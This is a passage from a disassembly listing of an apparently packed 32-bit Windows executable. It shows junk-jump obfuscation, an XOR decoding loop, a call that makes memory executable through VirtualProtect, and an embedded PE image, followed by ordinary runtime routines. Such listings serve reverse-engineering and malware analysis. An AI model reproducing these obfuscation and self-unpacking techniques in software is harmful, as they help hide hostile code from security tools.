5CEFDA06h, 964D1DDh, 0CA007CD2h db 0D9h, 7Fh ; --------------------------------------------------------------------------- loc_42AFE6: ; CODE XREF: DMN0:loc_42AFD5j jmp short loc_42B004 ; --------------------------------------------------------------------------- dd 0B5D8AF4Eh, 56BB998Fh, 9D9D3182h, 612F8E7Fh, 0C4D24FA2h dd 4875B378h, 0CB4712F8h ; --------------------------------------------------------------------------- loc_42B004: ; CODE XREF: DMN0:loc_42AFE6j jmp short loc_42B020 ; --------------------------------------------------------------------------- dw 4945h dd 0DA95521Fh, 0EA73BA4Ch, 4F8D2C7Bh, 8CB83731h, 638D3BF8h dd 7F49A046h ; --------------------------------------------------------------------------- loc_42B020: ; CODE XREF: DMN0:loc_42B004j jmp short loc_42B041 ; --------------------------------------------------------------------------- dw 888Fh dd 248FCC62h, 0AF8D8C51h, 2B2B1A7Fh, 3D28159h, 47FE2C9Dh dd 0B8490D76h, 52EDC34Fh ; --------------------------------------------------------------------------- pop edi loc_42B041: ; CODE XREF: DMN0:loc_42B020j jmp short $+2 jmp short loc_42B063 ; --------------------------------------------------------------------------- db 1Ah, 2Fh, 3Ah dd 0C622823Dh, 0E7A0C84Ah, 81568455h, 0F36F4DE1h, 18E8853Fh dd 5C5183B5h db 0C7h, 7Bh, 1 ; --------------------------------------------------------------------------- loc_42B063: ; CODE XREF: DMN0:0042B043j jmp short $+2 jmp loc_42A297 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B06A proc near ; CODE XREF: DMN0:0042B0D4p var_24 = dword ptr -24h var_18 = byte ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor edx, 12583D39h xor edx, 78EF8E70h mov eax, 10000000h add edx, eax add esp, 10h mov ebp, [esp-10h+arg_4] push edx pusha push 0 lea edx, [esp+18h+var_18] push edx push 40h push 16C12h add [esp+24h+var_24], 1000h push eax add eax, 1000h add eax, 47023h call dword ptr [eax] add esp, 4 popa retn sub_42B06A endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov ecx, 8000h mov edx, 76502073h mov eax, 513C6B17h loc_42B0C4: ; CODE XREF: DMN0:0042B0D1j add eax, 3A1B0B60h xor edx, eax add dx, ax rol edx, 7 loop loc_42B0C4 push eax call sub_42B06A leave retn ; --------------------------------------------------------------------------- align 4 dd 5Fh dup(0) dd 78450001h, 72507469h, 7365636Fh, 10073h, 74726956h dd 506C6175h, 65746F72h, 7463h, 0E000480h, 480h, 6B000000h dd 656E7265h, 2E32336Ch, 6C6C64h, 2 dup(0) dd 0FFFFFFFFh, 4802Bh, 4801Fh, 5 dup(0) dd 47000h, 10h, 3C25h, 574Fh dup(0) DMN0 ends ; Section 2. (virtual address 00041000) ; Virtual size : 0002DE4A ( 187978.) ; Section size in file : 0002DE4A ( 187978.) ; Offset to raw data for section: 00041000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute DMN1 segment para public 'CODE' use32 assume cs:DMN1 ;org 441000h assume es:nothing, ss:nothing, ds:DMN0, fs:nothing, gs:nothing dd 7F3E6554h, 0B31454BEh, 0F797CD9Ch, 9B11B3E4h, 1A34ABB8h dd 7D8051Fh, 323AABF7h, 0CA2C93C4h, 0A8548144h, 7AD8D80Bh dd 0F2A18A18h, 0D7D60810h, 24F4B050h, 8CB7E80Ch, 236D79Fh dd 53A90697h, 0C2701AF2h, 45562733h, 5AB068A9h, 6A595285h dd 5EA4BE5h, 9C9B0AABh, 66BE36EAh, 9456BB51h, 6E6A089Ah dd 2073AA49h, 6FD3FC94h, 0F497CC54h, 0CF2DF344h, 116801C1h dd 85FB9698h, 0CA2055E1h, 2B14ECEBh, 0A0B9D5E1h, 5A0EEE4Dh dd 84149D0Eh, 0A1BF7033h, 3A0E721h, 0A57957B2h, 0AC84FF38h dd 1FCE1B05h, 0A5092FE1h, 0A5A6276Bh, 46499C17h, 19759E57h dd 7E0308AAh, 879F6A92h, 0ABE944E5h, 38E52084h, 9AEB4958h dd 42D7C4B4h, 0E8F31B0Dh, 5040831Eh, 0AD6B60EAh, 0E7C1CC52h dd 5C9707F4h, 0E1B57EE8h, 68AC3718h, 699D7A7Ch, 46B15226h dd 2D9F2252h, 7F417BAAh, 0F09188Bh, 0ABBDE35Ah, 0D1A7B70Ch dd 31533915h, 7FC39C22h, 254B41Ah, 0A16B01FCh, 0CDA0A282h dd 70BED71Ch, 0ABCE19E7h, 8F458948h, 0E04DD82Dh, 0AC6FEDF5h dd 2F83165Ch, 0A08E2702h, 6DE8AFFBh, 0E5BA29BCh, 80C87330h dd 11FE245Ah, 8C70E80Dh, 4EFABA60h, 0CAEF8500h, 0B840ABB8h dd 0BF1699E8h, 95F5F974h, 5D3C28EEh, 0B6166C80h, 0B7B560A6h dd 216D482Bh, 48439194h, 3871CE22h, 359AB4Ch, 8601CBC5h dd 0D12ED440h, 52609E9Dh, 198FACC5h, 0E58259E4h, 0D1E5162Ah dd 0AB1680E5h, 0E2238F6Dh, 9C25B3Ah, 0B4805780h, 76EE28F4h dd 42B316D8h, 374389D8h, 0BA754ADh, 5E9E433Eh, 82FD5B1Ah dd 94EC6EC5h, 5AC7A7E3h, 3169A74Ah, 0BC967723h, 5E73768Bh dd 153931B2h, 8A7934CDh, 9FE2EEEAh, 0B29BBF99h, 595D4A8Eh dd 0AC631814h, 17073C69h, 0D1066E82h, 56E3D000h, 6A5ED712h dd 6AC8F1C0h, 5D22C09Ah, 0DCE946D4h, 0B662F461h, 33FE9EAFh dd 3896F4C0h, 0D326E9EBh, 92E61581h, 7BA7FF84h, 134590BEh dd 0F23B0677h, 4BB16CA5h, 0EFA7FDC6h, 22625426h, 0D7DB4877h dd 74286303h, 0A7F79C6Ch, 0FDB15396h, 0A373E414h, 0C1F9F484h dd 3D83C049h, 5099709Bh, 0EAE3C3B3h, 17201A89h, 0BE3BEF0h dd 707A696Fh, 0FDF4BEC9h, 46B8C5F6h, 87B11EE3h, 9EB0575Fh dd 61A20859h, 52F88C2Dh, 0FE29EF99h, 39F736A5h, 5D5D41E3h dd 0FFE9DBA7h, 429D5655h, 0F081A211h, 6869BD58h, 3FF725BDh dd 0C3B3C9FEh, 0E3653E18h, 7C1E0F08h, 0E6D06D7Ah, 9FB3BE67h dd 63A7C7DBh, 0B37DE8EBh, 0DB151D67h, 54B5CC68h, 0E9ED8970h dd 0A698E2E6h, 2FF0ECD6h, 0BEA90AD0h, 7E60BCC5h, 0D62390EDh dd 2FC978AFh, 0A6FA220Dh, 7276933Bh, 7DA476C8h, 0E3D1AC9Dh dd 0B299E854h, 0C04DED3Eh, 17C8B383h, 0A86A743Fh, 402EC41Eh dd 369C9371h, 3A8F2117h, 0AB40C693h, 0FEAB1BCh, 3D86BF66h dd 0C1DAFCF4h, 0DD1A953Fh, 1B2E7EC3h, 0D5D9FFAh, 0B25859A3h dd 7FE8D2E1h, 0EB4BBDF6h, 5B876F06h, 0AAEF8C6Fh, 9CA9E77Dh dd 0DD71FA44h, 0A75231E7h, 46617F87h, 0F21DFF2Ch, 0F18AA301h dd 0D4A5D0F5h, 48A654C1h, 0F82667C5h, 1839B6C0h, 0F95FF492h dd 0D25A7ACEh, 40870BD6h, 80BCF47Dh, 0F6BD3996h, 0AC1B9587h dd 9F96F7F3h, 2845E0AFh, 0D69AD99Dh, 0DE1B78EDh, 5194C743h dd 0B009B730h, 93FE8715h, 9C4EC4DEh, 0BE0C95Ch, 0E4164A14h dd 0E856A0FEh, 1FFD5C85h, 0B3FDE100h, 0AB62D61Eh, 0CC09646Ah dd 41590425h, 0CDAFD4A9h, 0A43FFDE3h, 9AA28496h, 8E497235h dd 72D86C2Ah, 0BC3FACE5h, 0B97A2A27h, 0F807A8B7h, 0C73CE82h dd 1493DF6Ch, 37C720CAh, 20100E8Fh, 5C84AD99h, 0E328EFC1h dd 0F742DE1Ah, 344B173Bh, 0D22F535Fh, 36748E3Ch, 0A9F2E005h dd 5B96FAACh, 0DC00D0CBh, 9B6265A8h, 7CA0FBE5h, 0F874DDDh dd 689C8BEFh, 3334101Ch, 0C83BA03Bh, 6F6758E7h, 29845C5Ch dd 0E0D77485h, 4F3E381Dh, 0D8DEF4DAh, 0AD9FB5C0h, 94FC9839h dd 0DE470ABh, 1C3E1680h, 8539B9CDh, 0DFBF54B2h, 0CB54E143h dd 0C2AECB07h, 16DA378h, 0F8ECE6F0h, 79F143h, 50B3D44Ah dd 1FBADB75h, 5093C5B2h, 4F272CC9h, 34FC2C05h, 64C93B9Dh dd 0DBE9731Dh, 0AF224BB9h, 499003A0h, 0C3BD1622h, 0D1E16DFh dd 0B58135F3h, 0A1C70EF3h, 81B8B03Ch, 0BC0397D8h, 9E47AA51h dd 8FF7AF8Fh, 0BB841216h, 0A150E11Ch, 63C0D478h, 0EBB58DB1h dd 571FAA6Ch, 0F70C067Fh, 257F3771h, 2C400415h, 6062991Ah dd 2E82DF09h, 0BD8FD2BAh, 2FB9F5C0h, 3FEF1BDh, 3A7C3E83h dd 0C582F2CFh, 0BCFD68A2h, 0AF822170h, 9B60088Eh, 3B011062h dd 5AA6C7B8h, 46F68281h, 8A237C0Fh, 10EFC774h, 628434E0h dd 0DB3B76F9h, 2620977Ch, 33B34C62h, 0CE52B625h, 70302E16h dd 60099DE1h, 0F8EE8200h, 5B1E765h, 0F1B4AB81h, 33CFF994h dd 0FF17CD75h, 0D84D252Ch, 86BCD1Dh, 4156C9FAh, 0E960F012h dd 3108CE97h, 2560B763h, 163491C9h, 22FA71EFh, 64479A6Fh dd 86951B83h, 0CBDCD2D2h, 58621569h, 9DFFD50Ch, 93BF30C5h dd 0CDF0ED09h, 0BE7A5748h, 2588930h, 0FBE74E5Dh, 87561BF2h dd 0E9EAB2FEh, 0D98599CCh, 13BAE202h, 0CACA6DC4h, 0C81AC9B2h dd 0B755C722h, 100B2889h, 0D399F894h, 0F8976662h, 7E51689Eh dd 0EE7B3244h, 0DE763DEDh, 67DD6363h, 2DEAA317h, 0F0C719F5h dd 0A2E8150Ah, 6CAE31ACh, 4D55EB52h, 677EFC6Ch, 0DE69BC41h dd 485DEBEAh, 3A2407ABh, 0B38A5AE7h, 44C98486h, 0DDEEFBF6h dd 8959293Ah, 0FAA11FBh, 6F39120Fh, 640633A4h, 0D76F1EEh dd 0DD5B1FACh, 0B9D2F232h, 0EE2565ADh, 1A0C4BA2h, 3CA76354h dd 1281B8E9h, 0F4CDBB27h, 9C615BBh, 0B87143FFh, 448E5CACh dd 0F3FD0822h, 3C85C132h, 2EE5DCD2h, 39A8CBB3h, 0C84B49B8h dd 0C6325275h, 4EA235C7h, 25D99FE8h, 0E44E11ECh, 39699423h dd 2152782h, 0CD0DF8FDh, 925AB72Bh, 17E20633h, 0BD4C5B78h dd 9A8C1904h, 0E33930D9h, 0E09A99A4h, 94E7F2E7h, 0A0864C7Dh dd 55BF74Ch, 304C78ADh, 3F4FA814h, 2B7339h, 0B3226CBEh dd 8851DF75h, 7DD368A5h, 0D6A579CDh, 5ABF8106h, 23D50DE7h dd 0B393131Ch, 0B7E1C27Eh, 130AAFC9h, 0D7F17480h, 0C4673CADh dd 8379E13Eh, 65873A1h, 8B77644Dh, 0D31DEA80h, 1AF5EBC8h dd 3DD681FAh, 42F31793h, 0F400141Dh, 468E649Eh, 0F8DA41F9h dd 0A3B4C973h, 0C84AFFF6h, 2DA68ACEh, 0E287D1EEh, 300FFCE1h dd 0E2686B19h, 0C972173Ch, 5D65E95Ah, 130714A1h, 380F64F0h dd 0FB909837h, 8674720Dh, 3D245FDEh, 0E293573h, 4DB0B93Bh dd 99C7667Fh, 62A9D1E4h, 0FF9B914Bh, 0C1E006E9h, 7D59A686h dd 1EFA05AFh, 0EB1D2676h, 6704A8A9h, 3F228DF7h, 4FC5F95Ah dd 34BF3C30h, 63358ABAh, 5353E14Eh, 0F9505A28h, 5C7A264Ah dd 0A45EBBA6h, 3DD88B90h, 5C46E8BDh, 3A2FD282h, 34FAF0Dh dd 46DEC9BCh, 76A14FD8h, 32894027h, 0FCBAE49Ch, 21C1500Ch dd 2C93F22Bh, 622F4273h, 35409AF1h, 0DC23EED1h, 11A48E71h dd 7E057AD8h, 75B4F5E6h, 0CE8A337Bh, 0A01A6A96h, 59393671h dd 0B56AE6D8h, 50D2F089h, 0BC2AED2Eh, 0D3838B1Bh, 73621E17h dd 2291F48Eh, 0C9A63250h, 183D363Ch, 237E606Ch, 0F6D41042h dd 0C60E8A5Fh, 0FD929F5Ch, 7CA2C6DFh, 453968BDh, 774D6B5Ah dd 81F8D736h, 2A62DC14h, 0B9E5A4FBh, 0F1DF7E55h, 0FCCCB429h dd 0E2238356h, 95979191h, 0E5BF3122h, 0D0616E08h, 0D20D796Ch dd 30C46144h, 431A0ABh dd 6F079610h, 6162760Eh, 0BD7DCBCh, 0EA34EADBh, 1D2E4918h dd 9E78D9BEh, 42DD3C01h, 6B5A5611h, 6DCCC7E6h, 230219F1h dd 0A02CE96Ah, 537DDFCAh, 0A994B6DBh, 74C5BEFEh, 8D0BBD88h dd 4A0650D0h, 0DE235A66h, 0F6E9F9EBh, 2DC119EDh, 0E532CC23h dd 0B80C5427h, 10C7F44Dh, 6C613E90h, 0EFF584FEh, 0BCC8274Bh dd 0C1ADCE8Fh, 8396A4ECh, 0AF2D7F6Dh, 788F66E7h, 0F82CBC80h dd 4F63EE5Ah, 0EA203F75h, 31BBE6E2h, 0BE60F290h, 0A72144E1h dd 3B88F5BFh, 0B4997Fh, 6CB8E1A5h, 0E5B5253Ch, 94B29927h dd 45DE4932h, 4E233D12h, 1A9237F8h, 0A9E16D44h, 0D1C148B7h dd 0EE91B849h, 55031E98h, 0E3F4DCEFh, 336C9782h, 0A91BAA2Dh dd 13572CF6h, 7C3B3E59h, 44CBE36h, 0AEE148EBh, 0AE0DC6F8h dd 0B0CAF94Ah, 0AF5F2DEAh, 0A64A364h, 10B89B9Ah, 64F34206h dd 0EE2EDBC7h, 4A95BDAEh, 0A34C8D33h, 38AEBE8Ah, 0A812AFE8h dd 8A07EB5Bh, 291E002Ah, 0CD1BB4BFh, 0A97CE495h, 0E40B0B07h dd 58D6738Ch, 0B9C10A1Ah, 408398A7h, 0A2847E41h, 105AF676h dd 0E2CD3EE2h, 1955DBE5h, 819199E7h, 255061F3h, 0D2AE530Fh dd 0B883F412h, 13F98772h, 21512A2Ah, 88BDBCA4h, 0DFBC1230h dd 0C536C204h, 433892CDh, 0C89C061Fh, 0A424BCA1h, 5FD2636Dh dd 70A3338Ah, 51C9AE72h, 0E964E36h, 0B1912632h, 6EDE2728h dd 4967855Ah, 43F949C8h, 31BE7BAh, 916BA00Ah, 9F62426Fh dd 0F7252117h, 9A2AB7E6h, 38BD9D23h, 0DEF030D2h, 0B56321B5h dd 1DB6F672h, 0BB636ABAh, 388EC8B5h, 5E42152Dh, 0DB1B038Ch dd 7C5E478h, 186A9479h, 0A327C7A7h, 6E233BB7h, 8E26C945h dd 0D8EF1780h, 781F6A85h, 0D423A80Fh, 4545A1A6h, 4CA8637Ah dd 0F2211C3Ch, 0C0C73A9h, 149FD4DAh, 57540971h, 59454C17h dd 7688AFB8h, 7B0D3BA9h, 0BE62BD1Bh, 92FFB141h, 0D207F5Eh dd 0F5732874h, 27506D05h, 525F4F94h, 5C55BCC8h, 0A22AC677h dd 4693E1A7h, 0A49AFDF3h, 0B2AEEF3Fh, 53A18A8h, 8B6BC106h dd 0A98C949Fh, 14E80FAAh, 8B775186h, 409FD923h, 3B60DE0h dd 6C5DAB50h, 2BA9E5F1h, 680A0C13h, 0B54E5AFDh, 0E3096564h dd 0B9AF80C6h, 97DCA009h, 0A08B0FCAh, 7D6EE1BDh, 2A2F11D9h dd 463E8857h, 185B050h, 0F3C64272h, 0C9FB4034h, 0C044D3F9h dd 1055C855h, 0BD8E22C4h, 19E1E117h, 797EF130h, 8463F996h dd 0A9FCD3D0h, 51CF9D76h, 0B426D359h, 0EAC2CE57h, 0E2013610h dd 0E64E74B0h, 6DB725BDh, 0A34B191Ah, 692AEDCCh, 97753CB5h dd 0E5199822h, 0D23C9C2Eh, 0CB2943A0h, 0AF3C342Eh, 275D50EAh dd 5922658h, 586B27AAh, 709FA630h, 7F34072Dh, 0D1ED9767h dd 660A7441h, 0AF3ADC69h, 6041DF5h, 5CD50E3Eh, 0A4185AF7h dd 5CC255E7h, 6B8B9359h, 0F917D609h, 0C3518D69h, 0FA2A0F99h dd 8B8FE67Ch, 0D9DA4A5Ch, 0AD8D4EA0h, 852BD404h, 0B446CD97h dd 0E747FC82h, 0E65C01ACh, 21566BF1h, 17CF5128h, 0B288B472h dd 3D3E1881h, 0CE09B96Eh, 0F1A25A5Ch, 282735E1h, 0EF75FFCDh dd 0FE134964h, 9C7C2C3Fh, 81726902h, 0D5E3E152h, 9A81B1F7h dd 0D47D52FDh, 20AA2D5Fh, 397203Fh, 3F3DE8BEh, 10622A59h dd 0FFE06D6Dh, 783CFBFDh, 0FCDB558Ah, 0F591E5C9h, 7765A163h dd 6C59D736h, 20629597h, 0E42FF638h, 0B3B1B527h, 0A5E99D89h dd 0E7C845ECh, 237F2E19h, 0B80E5A43h, 0EFF942F5h, 0F68E4631h dd 89991703h, 0FDF8C402h, 0FF33068Eh, 0AB063FFAh, 0FEF020F8h dd 6F174179h, 3918F31Dh, 61647AF4h, 528A139Ah, 64ABE4FEh dd 0F59C4782h, 0C4C55BCh, 28096546h, 2CCF9BEEh, 7E9A1354h dd 0F4587C65h, 5B69040Bh, 6E474853h, 9CBAF50Ch, 6ADD5EA3h dd 0F5661E57h, 121DEC00h, 5EF0BD36h, 0F0C79916h, 8AD90E79h dd 8B00A223h, 0E96B5EAh, 13528522h, 41E43915h, 0EBCBB29h dd 0B97FBE7Fh, 88FF83DDh, 5ADEF636h, 0AAB531h, 7120C355h dd 17F6C0DEh, 0D38B971Fh, 5C5C4955h, 0BAD52A3Eh, 0A4782148h dd 0EE943E83h, 504F4D07h, 2994A90Bh, 0E37F2B56h, 0B9D31479h dd 89466F7Fh, 0C47F3943h, 0AFEFC4E9h, 0FB479346h, 4B117104h dd 0FF8F457Dh, 0A1BC9257h, 0ED44FB45h, 0A58DFAFDh, 935E485Dh dd 18AF8E4Dh, 232BC90Ch, 5B8250AAh, 29CE97EBh, 321759C3h dd 6785591h, 0FD25335Fh, 93CA6D59h, 4C5541AAh, 7E9F2660h dd 0FCB3D648h, 71EE9C15h, 4F153F84h, 0F93F80Fh, 2447B3C4h dd 60CB0B92h, 82D2F8BEh, 6EE092B2h, 0EE4007DFh, 45E72A58h dd 0E78FA616h, 5DD16286h, 0E9FCB8E8h, 0A668DB30h, 0AB8FCBDDh dd 30FAD31Eh, 6EEBD5CEh, 222E725Bh, 69ECF119h, 0A81BE53Eh dd 0BC14E631h, 26DE1FBCh, 2C6BCE86h, 881A0C34h, 0F7E12E44h dd 5A019FD7h, 0E1968402h, 769E3948h, 0C1DAD3C2h, 0CE1C4760h dd 4E5F6024h, 0ACFA74CCh, 13E62BE1h, 5A61AE45h, 5B96B6CFh dd 0F4F9DC83h, 0FA7FBDA6h, 0A4648F8Dh, 0B8FA6818h, 5CD1702Eh dd 85C6AD6Ch, 721F213Dh, 0FFA3345h, 0D06FC994h, 0BA075527h dd 35936CBh, 0CA958B63h, 3958DBC6h, 0C34CF12Eh, 21B2E88Bh dd 0C52D6F3Ch, 585D1CEEh, 367A45ACh, 0F9EDEF28h, 0F14A066Ah dd 29C6392Ch, 6802362Ch, 2E1A9AF2h, 0C562939Ah, 50D7AF0Ch dd 73A71E6Eh, 0D5A14967h, 0C989EEB7h, 7353FE29h, 6FF33A3Ah dd 3C965290h, 770D0E6Ch, 8E68A557h, 0E183F1E9h, 0F5AA53C5h dd 5E9B72B1h, 0E8236376h, 0DF877A1Ah, 0C777BC8Fh, 0D0312F28h dd 864841Ah, 81E760B5h, 499787B7h, 0F4F84499h, 39688F6Fh dd 37F34697h, 428787F7h, 4F5F42C1h, 78A7CB3Eh, 2A5BB710h dd 0FB14D370h, 5396C0A5h, 0F585DF7Ch, 27877212h, 0E68A9BFAh dd 87FCE9E9h, 5CAA89C5h, 4AB50469h, 93D90CAAh, 0B37A2DD5h dd 9E0045Fh, 6732B25Eh, 0CC5F41A1h, 0EC5B18D8h, 45E2877Bh dd 216F6FFh, 3B567917h, 170973CBh, 602C0D3Fh, 1915F909h dd 88ED4928h, 8F407747h, 8FCDB801h, 9DF27432h, 0F765F160h dd 0D4624BF1h, 11A73660h, 9AC142F3h, 6CB08377h, 25714463h dd 1664392Ch, 0ADC2A892h, 79A3EF5Dh, 147BF520h, 0D5416942h dd 0AE7922E0h, 82483FD5h, 0C82389D7h, 0D8183E7Bh, 0C47006A0h dd 0F51061B5h, 9A8A93E6h, 0EE9F2BEh, 8426EC8Fh, 0B626FAEEh dd 47D62799h, 54B73E08h, 0D4FF798Ah, 5977844Ch, 81EA7C19h dd 0BF46309Ah, 93A1AB1Dh, 6CB0FF5h, 0BD2BFDCCh, 3EAF2A01h dd 0B675D592h, 0B6E7326Ah, 7C52E1BCh, 74C8E5A8h, 73D8561Bh dd 0C1DDA9D2h, 0EE03E35Fh, 0A3439DC9h, 0AEF782C2h, 45A47697h dd 2E4E2EAFh, 279A3573h, 9FE3069Eh, 0CA988A2Eh, 2FBEAA15h dd 23B809A1h, 0E65F6E20h, 0EB13091Ch, 4D85CDFh, 2B8C87A7h dd 0FFEDF624h, 0CEEEFB0Eh, 0D0F3E4A4h, 73C31ECCh, 0E5270C55h dd 6B4A181Fh, 70F7F997h, 14C306E2h, 0F0967D18h, 10F13EF7h dd 17D6EA4Fh, 36D3817Ah, 0EA86FDE4h, 0B8369149h, 25B56514h dd 27BABCDBh, 47AF44E7h, 72968F88h, 63848683h, 77DF564Eh dd 0C42E1A98h, 5990FB56h, 0FE6A758Fh, 21FE7704h, 8989B70Eh dd 0D0677B1Fh, 0EF7DE54h, 0F8A3961Eh, 0D8A64C6Dh, 0C4EA4F5Dh dd 0D2252A36h, 31CEFCCEh, 16E4FC9Fh, 5126BB9Dh, 0F083A3BFh dd 0E8FA58F5h, 7568DA5Fh, 17D5595Fh, 768BCDC6h, 0B80C8A8Eh dd 4B7BB41Dh, 0F5FD0935h, 0FCA6F1ACh, 63D06D9Fh, 75F94DF2h dd 1435D8DCh, 0A77F64ACh, 4809F071h, 1990357Ah, 8D744BCCh dd 18FFA6F7h, 0E84BD994h dd 205BC9CDh, 87B018BFh, 2F53E391h, 98BD6E5Eh, 61685678h dd 8D485A15h, 0ECEC0A31h, 0ADC450F3h, 0CD7DF163h, 0DD5C4443h dd 34F4BF44h, 0DE8FD0D1h, 10770990h, 54749121h, 0F886957Bh dd 0B8DF3020h, 0EBA441A4h, 0A1135FBFh, 0E729C27Eh, 0C5F0A8B8h dd 3C2EF6F1h, 5C04ABF8h, 0CD49ED8Dh, 7A1C77Fh, 0D20163ADh dd 1E5B5923h, 4DFBD935h, 300905Ah, 4000000h, 0FF000000h dd 0B80000FFh, 0 dd 40000000h, 8 dup(0) dd 80000000h, 0E000000h, 0EBA1Fh, 21CD09B4h, 0CD4C01B8h dd 69685421h, 72702073h, 6172676Fh, 6163206Dh, 746F6E6Eh dd 20656220h, 206E7572h, 44206E69h, 6D20534Fh, 2E65646Fh dd 240A0D0Dh, 0 dd 50000000h, 4C000045h, 21000401h, 47220Fh, 0 dd 0E0000000h, 0B010F00h, 320201h, 0C8h, 1C2h, 30000000h dd 7Eh, 10h, 0E0h, 4000h, 10h, 4000002h, 0 dd 4000000h, 2 dup(0) dd 2C0h, 4, 2000000h, 0 dd 1000h, 10h, 1000h, 10h, 10000000h, 2 dup(0) dd 10000000h, 7800011Ah, 0 dd 0D0000140h, 172h, 11h dup(0) dd 0C8000000h, 4000011Ch, 2, 5 dup(0) dd 2E000000h, 74786574h, 0B6000000h, 0C7h, 10h, 0C8h, 4 dd 2 dup(0) dd 20000000h, 2E600000h, 74616472h, 0D4000061h, 21h, 0E0h dd 22h, 0CCh, 2 dup(0) dd 40000000h, 2E400000h, 61746164h, 90000000h, 2Ah, 110h dd 18h, 0EEh, 2 dup(0) dd 40000000h, 2EC00000h, 63727372h, 0D0000000h, 172h, 140h dd 174h, 106h, 2 dup(0) dd 40000000h, 400000h, 79h dup(0) db 3 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_44246C proc near ; CODE XREF: DMN1:004454B8p ; DMN1:004461B5p arg_0 = dword ptr 4 push ebx push esi mov ebx, [esp+8+arg_0] mov esi, [ebx] jmp short loc_44247E ; --------------------------------------------------------------------------- loc_442476: ; CODE XREF: sub_44246C+14j call dword_411CC8 ; GetTickCount mov esi, eax loc_44247E: ; CODE XREF: sub_44246C+8j test esi, esi jz short loc_442476 mov eax, esi mov edx, 41C64E6Dh mul edx lea esi, [eax+3039h] mov [ebx], esi cmp dword ptr [ebx], 0 jnz short loc_44249A inc dword ptr [ebx] loc_44249A: ; CODE XREF: sub_44246C+2Aj mov eax, esi shr eax, 10h and eax, 7FFFh pop esi pop ebx retn sub_44246C endp ; =============== S U B R O U T I N E ======================================= sub_4424A7 proc near ; CODE XREF: sub_447EEC+20p push offset dword_412860 call dword_411CCC ; InitializeCriticalSection retn sub_4424A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4424B3 proc near ; CODE XREF: sub_442695+35p ; sub_442E2E+Bp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push offset dword_412860 call dword_411CD0 ; RtlEnterCriticalSection push 1 mov eax, [ebp+arg_0] push eax call sub_44853B pop ecx pop ecx mov ebx, eax push offset dword_412860 call dword_411CD4 ; RtlLeaveCriticalSection mov eax, ebx pop ebx pop ebp retn sub_4424B3 endp ; =============== S U B R O U T I N E ======================================= sub_4424E1 proc near ; CODE XREF: sub_442695+1Fp ; sub_442EA6+Bp ... arg_0 = dword ptr 4 push offset dword_412860 call dword_411CD0 ; RtlEnterCriticalSection push [esp+arg_0] call sub_4488EB pop ecx push offset dword_412860 call dword_411CD4 ; RtlLeaveCriticalSection retn sub_4424E1 endp ; =============== S U B R O U T I N E ======================================= sub_442502 proc near ; CODE XREF: sub_447EEC+2Ap push offset dword_412878 call dword_411CCC ; InitializeCriticalSection retn sub_442502 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 100h push ebx push esi push edi xor esi, esi cmp dword ptr [ebp+8], 0 jz loc_4425C9 push 0FFFFFFF5h call dword_411CD8 ; GetStdHandle cmp eax, 0FFFFFFFFh jz loc_4425C9 push offset dword_412878 call dword_411CD0 ; RtlEnterCriticalSection lea edi, [ebp+0Ch] push edi push dword ptr [ebp+8] push 100h lea eax, [ebp-100h] push eax call sub_4489BB add esp, 10h mov ebx, eax cmp ebx, 0FFh jbe short loc_4425AB push 1 lea eax, [ebx+80h] push eax call sub_44853B pop ecx pop ecx mov esi, eax lea edi, [ebp+0Ch] push edi push dword ptr [ebp+8] lea eax, [ebx+1Fh] push eax push esi call sub_4489BB add esp, 10h mov ebx, eax push esi push offset aS_0 ; "%s" call sub_448A5B pop ecx pop ecx push esi call sub_4488EB pop ecx jmp short loc_4425BE ; --------------------------------------------------------------------------- loc_4425AB: ; CODE XREF: DMN1:0044256Bj lea eax, [ebp-100h] push eax push offset aS_0 ; "%s" call sub_448A5B pop ecx pop ecx loc_4425BE: ; CODE XREF: DMN1:004425A9j push offset dword_412878 call dword_411CD4 ; RtlLeaveCriticalSection loc_4425C9: ; CODE XREF: DMN1:00442521j ; DMN1:00442537j pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_4425D0 proc near ; CODE XREF: sub_447EEC+25p push offset dword_412890 call dword_411CCC ; InitializeCriticalSection retn sub_4425D0 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h push ebx lea eax, [ebp-10h] push eax call dword_411CDC ; GetLocalTime cmp word ptr [ebp-8], 0Ch jnb short loc_4425FB mov ebx, offset aAm ; "AM" jmp short loc_442600 ; --------------------------------------------------------------------------- loc_4425FB: ; CODE XREF: DMN1:004425F2j mov ebx, offset aPm ; "PM" loc_442600: ; CODE XREF: DMN1:004425F9j push ebx movzx eax, word ptr [ebp-4] push eax movzx eax, word ptr [ebp-6] push eax movzx eax, word ptr [ebp-8] mov ecx, 0Ch cdq idiv ecx push edx movzx eax, word ptr [ebp-10h] mov ecx, 64h cdq idiv ecx push edx movzx eax, word ptr [ebp-0Ah] push eax movzx eax, word ptr [ebp-0Eh] push eax push offset a02i02i02iIIIS ; "%02i/%02i/%02i %i:%i:%i%s" push dword ptr [ebp+8] call sub_448ABB add esp, 24h pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax push ebx push offset dword_412890 call dword_411CD0 ; RtlEnterCriticalSection push offset aA ; "a" push dword ptr [ebp+8] call sub_448AFB pop ecx pop ecx mov ebx, eax test ebx, ebx jz short loc_442685 lea eax, [ebp+10h] mov [ebp-4], eax push dword ptr [ebp-4] push dword ptr [ebp+0Ch] push ebx call sub_448BAB add esp, 0Ch push ebx call sub_448D5B pop ecx loc_442685: ; CODE XREF: DMN1:00442667j push offset dword_412890 call dword_411CD4 ; RtlLeaveCriticalSection pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442695 proc near ; CODE XREF: sub_447EEC+4Bp var_8 = dword ptr -8 